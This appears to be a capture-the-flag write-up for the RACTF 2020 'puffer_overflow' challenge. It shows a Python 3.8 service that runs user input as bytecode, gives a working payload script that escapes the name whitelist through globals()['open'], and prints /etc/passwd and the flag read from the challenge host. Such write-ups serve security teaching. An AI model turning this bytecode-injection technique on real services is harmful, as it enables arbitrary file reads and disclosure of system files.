Select Page

This is basically a Python 3.8 shellcoding challenge (650pt).

Challenge instance ready at 88.198.219.20:24155.
We’ve found an exploitable network service. Exploit it! For your convenience, the source has been provided.


peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 main.py
Hello!
What’s your name?
ypl
Hello ypl!
It’s nice to meet you!

Let’s take a closer look:

print("Hello!")
print("What's your name?")
name = smart_input()
name = put_on_stack(name[:32].decode()) + name[32:]
print(f"Hello {execute_bytecode(name)}!")
print("It's nice to meet you!")

put_on_stack() generates some Python bytecode based on my input string, then execute_bytecode() executes it. Interestingly, if name is longer than 32 bytes, the program simply executes name[32:] as bytecode:

peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 main.py
Hello!
What’s your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA
Segmentation fault

Well… 🙂


What are we trying to do with our payload? Take a look at execute_bytecode():

def execute_bytecode(code):
    """
    Executes the provided bytecode. Handy for getting the
    top item off the stack.
    """
    from types import CodeType
    import builtins

    # This should be large enough for most things
    stacksize = 1024

    # Load in enough for put_on_stack to work.
    # NOTE: This function is unable to call "import" or similar
    #       dangerous things due to co_names acting as a whitelist.
    #     (Python loads names from a constants array, so it can"t
    #      load something that"s not there!)
    consts = (*range(256), )
    names = ("chr", "ord", "globals", "locals", "getattr", "setattr")

    # Tag on a trailing RETURN call just incase.
    code += b"S\x00"
    # Construt the code object
    inject = CodeType(
        0,  # For python 3.8
        0, 0, 0, stacksize, 2, code, consts,
        names, (), "", "", 0, b"", (), ()
    )

    # Create a copy of globals() and load in builtins. builtins aren"t
    # normally included in global scope.
    globs = dict(globals())
    globs.update({i: getattr(builtins, i) for i in dir(builtins)})

    # Go go go!
    return eval(inject, globs)

We can’t simply import os then os.system("/bin/sh"). We are only allowed to call functions in the whitelist: chr(), ord(), globals(), locals(), getattr(), setattr(), as well as all builtins functions.


My solution? globals()["open"]("flag.txt").read():

import sys

def put(string):
    bytecode = b""
    for n, i in enumerate(string):
        bytecode += b"t\x00"                # LOAD_GLOBAL 0 (chr) 
        bytecode += b"d" + bytes([ord(i)])  # LOAD_CONST n
        bytecode += b"\x83\x01"             # CALL_FUNCTION 1
        if n != 0:
            bytecode += b"\x17\x00"         # BINARY_ADD
    return bytecode

def attr(payload, attr):
    payload  = b"e\x04" + payload   # LOAD_GLOBAL 4 (getattr)
    payload += put(attr)
    payload += b"\x83\x02"          # CALL_FUNCTION 2
    return payload

# globals()
payload  = b"e\x02"     # LOAD_NAME 2 (globals)
payload += b"\x83\x00"  # CALL_FUNCTION 0

# globals()["open"]
payload += put("open")
payload += b"\x19\x10"  # BINARY_SUBSCR

# globals()["open"]("flag.txt")
payload += put("flag.txt")
payload += b"\x83\x01"  # CALL_FUNCTION 1

# globals()["open"]("flag.txt").read()
payload = attr(payload, "read")
payload += b"\x83\x00"  # CALL_FUNCTION 0

payload = b"a" * 32 + payload
sys.stdout.buffer.write(payload)
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Traceback (most recent call last):
  File “main.py”, line 79, in <module>
    print(f”Hello {execute_bytecode(name)}!”)
  File “main.py”, line 59, in execute_bytecode
    return eval(inject, globs)
  File “”, line 0, in
FileNotFoundError: [Errno 2] No such file or directory: ‘flag.txt’
peilin@PWN:~/ractf-2020/puffer_overflow$
echo -n H4K3R > flag.txt
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello H4K3R!
It’s nice to meet you!

Awesome!


By the way, here’s some other crazy stuff printed out by the program:

globals()["open"]:

peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <built-in function open>!
It’s nice to meet you!

globals()["open"]("flag.txt"):

peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <_io.TextIOWrapper name=’flag.txt’ mode=’r’ encoding=’UTF-8′>!
It’s nice to meet you!

Finally, globals()["open"]("flag.txt").read:

peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <built-in method read of _io.TextIOWrapper object at 0x7fd0ac165d40>!
It’s nice to meet you!

Anyway, let’s get our flag!

peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done
[b] Recieving all data: 0B

It hangs. Wait, what…? Maybe it is in a different directory? Let’s try /etc/passwd:

peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done

Hello root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ractf:x:100:65533:Linux User,,,:/home/ractf:/bin/bash
!
[DEBUG] Received 0x17 bytes:
    b”It’s nice to meet you!\n”
It’s nice to meet you!

Oh my! How about /home/ractf/flag.txt, then?

peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done

[DEBUG] Received 0x1c bytes:
    b’Hello ractf{Puff3rf1sh??}\n’
    b’!\n’
[DEBUG] Received 0x17 bytes:
    b”It’s nice to meet you!\n”

Nice! That’s a short flag, though.